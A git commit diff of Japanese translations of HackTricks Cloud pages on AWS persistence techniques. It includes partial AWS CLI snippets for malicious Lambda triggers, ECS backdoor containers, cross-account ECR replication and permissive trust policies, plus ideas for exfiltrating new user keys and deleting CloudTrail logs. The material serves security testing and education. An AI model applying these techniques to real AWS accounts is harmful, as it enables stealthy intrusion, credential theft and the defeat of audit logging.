mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-04 16:57:26 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -10,21 +10,21 @@
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### リソースポリシー
|
||||
### Resource Policy
|
||||
|
||||
APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
|
||||
|
||||
### Lambdaオーソライザーの変更
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
|
||||
ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
|
||||
または、オーソライザーの使用を単に削除します。
|
||||
|
||||
### IAM権限
|
||||
### IAM Permissions
|
||||
|
||||
リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
|
||||
または、オーソライザーの使用を単に削除します。
|
||||
|
||||
### APIキー
|
||||
### API Keys
|
||||
|
||||
APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
|
||||
または、APIキーの使用を単に削除します。
|
||||
|
||||
@@ -18,10 +18,10 @@ Cognitoは、認証されていないユーザーと認証されたユーザー
|
||||
- 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
|
||||
- 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
|
||||
- または与えられたロールの**権限を向上させる**
|
||||
- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する
|
||||
- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で
|
||||
- **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
|
||||
|
||||
これらのアクションを実行する方法を確認してください:
|
||||
これらのアクションを実行する方法を確認してください
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### DynamoDB トリガーと Lambda バックドア
|
||||
|
||||
DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
|
||||
DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
@@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。
|
||||
持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。
|
||||
|
||||
### DynamoDBをC2チャネルとして使用する
|
||||
|
||||
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### セキュリティグループ接続追跡持続性
|
||||
|
||||
防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
|
||||
防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
|
||||
|
||||
攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
|
||||
|
||||
### EC2ライフサイクルマネージャー
|
||||
|
||||
このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\
|
||||
このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\
|
||||
攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
|
||||
|
||||
### スケジュールされたインスタンス
|
||||
@@ -27,21 +27,21 @@
|
||||
|
||||
### スポットフリートリクエスト
|
||||
|
||||
スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
|
||||
スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
|
||||
|
||||
### バックドアインスタンス
|
||||
|
||||
攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
|
||||
|
||||
- 例えば、従来の**ルートキット**を使用する
|
||||
- 伝統的な**ルートキット**を使用する例
|
||||
- 新しい**公開SSHキー**を追加する([EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認)
|
||||
- **ユーザーデータ**をバックドア化する
|
||||
- **ユーザーデータ**にバックドアを仕掛ける
|
||||
|
||||
### **バックドア起動構成**
|
||||
|
||||
- 使用されるAMIをバックドア化する
|
||||
- ユーザーデータをバックドア化する
|
||||
- キーペアをバックドア化する
|
||||
- 使用されるAMIにバックドアを仕掛ける
|
||||
- ユーザーデータにバックドアを仕掛ける
|
||||
- キーペアにバックドアを仕掛ける
|
||||
|
||||
### VPN
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### 悪意のあるコードを含む隠れたDockerイメージ
|
||||
|
||||
攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。
|
||||
攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。
|
||||
|
||||
### リポジトリポリシー
|
||||
|
||||
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。**
|
||||
> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。
|
||||
|
||||
### レジストリポリシーとクロスアカウントレプリケーション
|
||||
|
||||
外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。
|
||||
クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。
|
||||
まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
@@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
次に、レプリケーション設定を適用します:
|
||||
その後、レプリケーション設定を適用します:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
}
|
||||
]'
|
||||
```
|
||||
### 既存のECSタスク定義にバックドアコンテナを追加
|
||||
### 既存のECSタスク定義におけるバックドアコンテナ
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: テスト
|
||||
|
||||
攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。
|
||||
攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Undocumented ECS Service
|
||||
### 文書化されていないECSサービス
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
> TODO: テスト
|
||||
|
||||
攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。
|
||||
攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
|
||||
@@ -12,10 +12,10 @@
|
||||
|
||||
### リソースポリシー / セキュリティグループの変更
|
||||
|
||||
**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。
|
||||
**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。
|
||||
|
||||
### アクセスポイントの作成
|
||||
|
||||
**アクセスポイントを作成することで**(`/`へのルートアクセス付き)、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。
|
||||
**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な(`/`へのルートアクセスを持つ)アクセスポイントを作成できます。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
詳細については、次を確認してください:
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### インスタンス内の持続性
|
||||
### インスタンス内の永続性
|
||||
|
||||
AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
|
||||
AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
|
||||
|
||||
### バックドアのあるバージョン
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
|
||||
### バックドアロール信頼ポリシー
|
||||
|
||||
信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース(または誰にでも)それを引き受けることができるようにすることができます:
|
||||
信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます(または誰にでも):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -42,6 +42,6 @@
|
||||
|
||||
### バックドア / アイデンティティプロバイダーの作成
|
||||
|
||||
アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。
|
||||
アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,11 +16,11 @@
|
||||
|
||||
### 永続的な付与
|
||||
|
||||
付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものでも)を持つことができます。
|
||||
付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものも含む)を持つことができます。
|
||||
|
||||
したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
|
||||
|
||||
(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。)
|
||||
(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます:
|
||||
**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
|
||||
Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,13 +28,13 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
外部アカウントに対して、さまざまなラムダアクション(呼び出しやコードの更新など)へのアクセスを付与することが可能です:
|
||||
外部アカウントに対して、異なるlambdaアクション(invokeやupdate codeなど)へのアクセスを付与することが可能です:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
ラムダは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\
|
||||
Lambdaは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\
|
||||
その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
|
||||
この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
|
||||
|
||||
@@ -42,23 +42,23 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. ラムダの元のコードをコピーします
|
||||
2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみ)。そのバージョンを公開し、**$LATESTにデプロイ**します
|
||||
1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します
|
||||
1. Lambdaの元のコードをコピーします
|
||||
2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみで)。そのバージョンを公開し、**$LATESTにデプロイ**します
|
||||
1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します
|
||||
3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
|
||||
1. これにより、バックドア付きのコードは以前のバージョンに隠されます
|
||||
4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. 最後の:1は**関数のバージョンを示す**ことに注意してください(このシナリオではバージョン1がバックドア付きのものになります)。
|
||||
5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します
|
||||
6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます
|
||||
5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します
|
||||
6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます**
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
|
||||
ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
|
||||
**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
|
||||
ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
|
||||
|
||||
- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。
|
||||
- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。
|
||||
- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。
|
||||
- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。
|
||||
- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。
|
||||
- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -19,20 +19,20 @@ Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**proc
|
||||
|
||||
さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。**
|
||||
|
||||
Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。
|
||||
Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、Rapidの後に任意のランタイムコードの実行前に実行されます。
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。
|
||||
|
||||
> [!WARNING]
|
||||
> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。
|
||||
> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更を許可する**ため、ポート番号の変更が可能です。
|
||||
|
||||
**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。
|
||||
**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、私たちの後に読み込まれる**拡張**は、この変数に依存しているため、私たちの拡張を経由してルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることができる可能性があります。
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。
|
||||
ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**、他の**拡張**の**リクエスト**を**変更する**ために作成されました。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -4,37 +4,37 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
|
||||
Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
|
||||
|
||||
**関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。
|
||||
|
||||
**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。
|
||||
**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が別のアカウントが公開したレイヤーを使用している場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、あなたの関数は**レイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新することはできません。
|
||||
|
||||
コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。
|
||||
|
||||
### Python load path
|
||||
|
||||
Pythonがlambdaで使用するロードパスは次のとおりです:
|
||||
Pythonがlambdaで使用するロードパスは次のとおりです:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
|
||||
チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリによって占有されています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
|
||||
> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けることができた場合、または**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加した場合**、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
|
||||
|
||||
したがって、要件は次のとおりです:
|
||||
|
||||
- **被害者のコード**によって**読み込まれるライブラリ**をチェックする
|
||||
- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。
|
||||
- **被害者のコードによって**読み込まれる**ライブラリを確認する**
|
||||
- **カスタムコードを実行し、元の**ライブラリを**読み込む**lambda layersを使用した**プロキシライブラリを作成する**。
|
||||
|
||||
### プリロードされたライブラリ
|
||||
|
||||
> [!WARNING]
|
||||
> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
|
||||
> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムに**すでに読み込まれています**。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
|
||||
> この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。
|
||||
|
||||
このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です:
|
||||
このようなpythonコードを使用すると、lambda内のpythonランタイムに**プリロードされたライブラリのリストを取得する**ことができます:
|
||||
```python
|
||||
import sys
|
||||
|
||||
@@ -48,20 +48,20 @@ return {
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
そして、これは**lambdaがデフォルトでインストールしているライブラリ**のリストです: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
### Lambdaレイヤーのバックドア
|
||||
|
||||
